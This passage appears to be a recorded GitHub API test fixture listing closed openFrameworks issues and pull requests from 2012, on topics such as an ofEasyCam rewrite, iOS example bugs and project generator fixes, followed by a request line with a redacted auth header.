simulator","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1230","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1230,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1230","assignee":null,"title":"opencvFaceExample doesn't run on ios5 / xcode 4 ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-04-30T20:33:34Z","created_at":"2012-04-30T20:02:56Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":4356775,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T18:03:52Z","body":"I completely rewrote ofEasyCam as it was working in some weird ways when the target was changed.\r\nNow the maths are much simpler and tidier.\r\nI also changed the way it is used.\r\nNow by pressing the dragging the mouse with the left button the camera rotates around the target. when doing so with the right button the camera rotates around it's local z axis.\r\n\r\nWhen the 'm' key is pressed, dragging the mouse with the left button will move the camera over it's local X an Y axes. Using the right button will move the camera over it's local z axis, making it \"zoom\" in or out.\r\n\r\nIn my initial implementation I checked if the mouse was inside a circle of radius min(ofGetWith, ofGetHeight) centered at the middle of the viewport, if it was inside the X and Y rotation was applied, else the Z rotation, thus leaving the second button free to use \"zoom\" in or out.\r\nI finally decided to leave out this way of use opting for the one that I'm commiting.\r\nIf anyone of you thinks that my initial implementation would be better I can pull it.\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1227","comments":27,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1227,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1227","assignee":null,"title":"Rewritten ofEasyCam + minor fixes to ofNode","labels":[],"closed_at":"2012-05-29T18:03:52Z","created_at":"2012-04-30T03:15:12Z","state":"closed","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":4345219,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1227","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1227.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1227.diff"}},{"updated_at":"2012-04-29T16:54:10Z","body":"ofxiPhoneImagePicker now also works on the iPad.\r\nworks in all device orientations.\r\na custom overlay view can be created by extending OverlayView rather then having to change code inside ofxiPhoneImagePicker.\r\nfixed a bunch of leaks. \r\nstill a couple small leaks showing up which im trying to patch up.\r\nfixed up formatting.\r\n\r\ncloses #1208","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1226","comments":0,"milestone":null,"number":1226,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1226","assignee":null,"title":"ofxiPhoneImagePicker update","labels":[],"closed_at":"2012-04-29T16:54:10Z","created_at":"2012-04-29T15:05:07Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4341279,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1226","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1226.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1226.diff"}},{"updated_at":"2012-04-29T12:09:58Z","body":"this issue was introduced on iOS with a fix for issue #1199.\r\nive added isLoaded() method to ofxOpenALSoundPlayer and is again building fine on iOS.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1225","comments":0,"milestone":null,"number":1225,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1225","assignee":null,"title":"ofxOpenALSoundPlayer was missing isLoaded() method.","labels":[],"closed_at":"2012-04-29T12:09:58Z","created_at":"2012-04-29T12:09:34Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4340490,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1225","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1225.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1225.diff"}},{"updated_at":"2012-04-27T18:17:31Z","body":"This class can be used to create a default file to store openFrameworks\r\ncore variables like window-position, -size, framerate... This default\r\nfile will be saved to ofFilePath::getCurrentWorkingDirectory()\r\nAlso added an example.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1224","comments":9,"milestone":null,"number":1224,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1224","assignee":null,"title":"ofxXmlSettings default file [develop branch]","labels":[],"closed_at":"2012-04-27T18:17:31Z","created_at":"2012-04-27T09:21:44Z","state":"closed","user":{"url":"https://api.github.com/users/WrongEntertainment","gravatar_id":"8aa3a1b1a5238b9a8f375688dfa14e49","login":"WrongEntertainment","avatar_url":"https://secure.gravatar.com/avatar/8aa3a1b1a5238b9a8f375688dfa14e49?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":235200},"id":4318954,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1224","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1224.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1224.diff"}},{"updated_at":"2012-04-27T09:26:00Z","body":"Hey oFolk,\r\nwhat do you think about the xml default idea? i've used it two weeks for myself and i love it.\r\n\r\ngreets from berlin, paul.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1222","comments":2,"milestone":null,"number":1222,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1222","assignee":null,"title":"ofxXmlSettings default file","labels":[],"closed_at":"2012-04-27T05:30:34Z","created_at":"2012-04-27T04:33:35Z","state":"closed","user":{"url":"https://api.github.com/users/WrongEntertainment","gravatar_id":"8aa3a1b1a5238b9a8f375688dfa14e49","login":"WrongEntertainment","avatar_url":"https://secure.gravatar.com/avatar/8aa3a1b1a5238b9a8f375688dfa14e49?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":235200},"id":4315860,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1222","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1222.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1222.diff"}},{"updated_at":"2012-04-27T06:39:51Z","body":"I find that I'm using rectangles with rounded corners quiet often and seems like a fairly simple addition.\r\nAn example of using this is as follows:\r\n\r\n\tofSetPolyMode(OF_POLY_WINDING_ODD);\r\n\tofSetLineWidth(1.5);\r\n\tofEnableSmoothing();\r\n\tofNoFill();\r\n\tofSetHexColor(0x000000);\r\n\tofRoundedRect(630,520,80,60,9);\r\n\tofDisableSmoothing();\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1221","comments":2,"milestone":null,"number":1221,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1221","assignee":null,"title":"Added ofRoundedRect() functions to ofGraphics","labels":[],"closed_at":"2012-04-27T05:30:29Z","created_at":"2012-04-26T22:21:09Z","state":"closed","user":{"url":"https://api.github.com/users/lawarner","gravatar_id":"030dc27a9e68781f8c0090d2adc5312e","login":"lawarner","avatar_url":"https://secure.gravatar.com/avatar/030dc27a9e68781f8c0090d2adc5312e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1479237},"id":4312697,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1221","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1221.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1221.diff"}},{"updated_at":"2012-04-26T21:16:22Z","body":"... caused linker errors on linux (directory not found) if custom project directory not in default location.\r\n\r\n\r\nUsing makefile: Makefile\r\nmake: *** No rule to make target `../../../libs/poco/lib/linux/libPocoXML.a', needed by `bin/testProject_debug'. Stop.\r\nProcess terminated with status 2 (0 minutes, 0 seconds)\r\n0 errors, 0 warnings\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1220","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1220,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1220","assignee":null,"title":"Bugfix makefile.examples","labels":[],"closed_at":"2012-04-26T21:16:22Z","created_at":"2012-04-26T20:30:57Z","state":"closed","user":{"url":"https://api.github.com/users/tgfrerer","gravatar_id":"b37673dd0fb953e948cfd5475d49de9f","login":"tgfrerer","avatar_url":"https://secure.gravatar.com/avatar/b37673dd0fb953e948cfd5475d49de9f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":423509},"id":4310831,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1220","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1220.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1220.diff"}},{"updated_at":"2012-04-30T22:03:53Z","body":"I have an Universal app that uses this feature the screen grab works fine on non retina display devices but in iPhone 4 the screen grab is 1/4 of the size of the screen, posible solution by jasonwalters here http://forum.openframeworks.cc/index.php/topic,6092.15.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1219","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1219,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1219","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhoneScreenGrab doesnt use Retina Display scaling","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-04-30T22:03:53Z","created_at":"2012-04-26T08:21:49Z","state":"closed","user":{"url":"https://api.github.com/users/nardove","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":277690},"id":4297487,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-30T14:43:17Z","body":" \"_cvKalmanPredict\", referenced from:\r\n \"_cvReleaseKalman\", referenced from:\r\n \"_cvCreateKalman\", referenced from:\r\n \"_cvKalmanCorrect\", referenced from:\r\n\r\nwant to make sure we're not missing anything from opencv.a \r\n\r\n- hmm adding the raw libs ( not the smooshed ones ) it finds those symbols.\r\ngoing to check the opencv smooshing project. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1214","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1214,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1214","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"2.3.2 osx opencv.a missing kalman methods ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"}],"closed_at":"2012-04-30T14:43:17Z","created_at":"2012-04-24T14:49:54Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":4261132,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-24T04:02:19Z","body":"new Default.png and Icon.png for 0071 release.\r\n\r\nwill add retina icons too\r\nbut just wanted to update the essentials first.\r\n\r\ncloses #1209","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1213","comments":2,"milestone":null,"number":1213,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1213","assignee":null,"title":"ios new splashscreen + icon","labels":[],"closed_at":"2012-04-24T03:35:14Z","created_at":"2012-04-24T03:32:37Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4253268,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1213","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1213.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1213.diff"}},{"updated_at":"2012-04-24T03:23:23Z","body":"touch events and alerts are now being added automatically when the app is started.\r\nplease see the first commit.\r\nall other commits are adjustments made to iOS examples.\r\n\r\nthis means, the user doesn't have to worry about setting touch events and alerts up inside their app.\r\nit makes sense as this is what the user will always need to do anyway when running an iOS OF project.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1212","comments":0,"milestone":null,"number":1212,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1212","assignee":null,"title":"ios example changes","labels":[],"closed_at":"2012-04-24T03:23:23Z","created_at":"2012-04-24T03:13:46Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4253139,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1212","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1212.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1212.diff"}},{"updated_at":"2012-04-30T15:55:27Z","body":"examples/ios/xmlSettingsExample\r\nfiles in addons/ofxXmlSettings/libs are getting added twice by PG and its causing duplicate method errors.\r\n\r\nthis issue will be resolved when issue #1206 is resolved.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1211","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1211,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1211","assignee":null,"title":"iOS xmlSettingsExample errors","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-30T15:55:27Z","created_at":"2012-04-24T02:32:41Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4252816,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-30T15:55:27Z","body":"examples/ios/oscReceiverExample\r\nexamples/ios/oscSenderExample\r\n\r\n/Volumes/STORAGE/openFrameworks/examples/ios/oscReceiverExample/../../../addons/ofxOsc/libs/oscpack/src/osc/OscTypes.h:128:16: error: expected unqualified-id\r\nextern NilType Nil;\r\n\r\nsimulator and device, across all iOS versions.\r\nthis is not an issue in 007.\r\n\r\nthis issue may be resolved when issue #1206 is resolved.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1210","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1210,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1210","assignee":null,"title":"iOS OSC examples build with errors","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-30T15:55:27Z","created_at":"2012-04-24T02:30:30Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4252797,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-24T08:31:55Z","body":"Default.png says openFrameworks 007 \r\nshould be 0071 for the next release.\r\nim taking care of this today.\r\n\r\nwill also have a version ready for ipad.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1209","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1209,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1209","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Default.png and Icon.png need update for 0071 release","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"}],"closed_at":"2012-04-24T08:31:55Z","created_at":"2012-04-24T02:23:37Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4252761,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-24T08:37:24Z","body":"examples/ios/ImagePickerExample\r\nImagePicker is working fine but when photo taken is upside down.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1208","comments":1,"milestone":null,"number":1208,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1208","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iOS ImagePickerExample is upside down","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-04-24T08:37:24Z","created_at":"2012-04-24T02:18:39Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4252721,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-11T17:49:27Z","body":"examples/ios/videoGrabberExample\r\nvideo image is upside down.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1207","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1207,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1207","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iOS videoGrabberExample is upside down","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"}],"closed_at":"2012-05-11T17:49:27Z","created_at":"2012-04-24T02:17:23Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4252711,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-30T15:55:55Z","body":"something ive noticed when testing all the iOS examples today.\r\nPG seems to be duplicating files in the addons libs folder.\r\n\r\nfor example in the ofxXmlSettings folder,\r\nsrc/ is fine.\r\nlibs/ has all the files duplicated.\r\n\r\nthis is causing duplicate declaration issues in projects that use addons.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1206","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1206,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1206","assignee":null,"title":"project generator duplicating files in addons libs folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-30T15:55:55Z","created_at":"2012-04-24T02:16:16Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4252699,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', 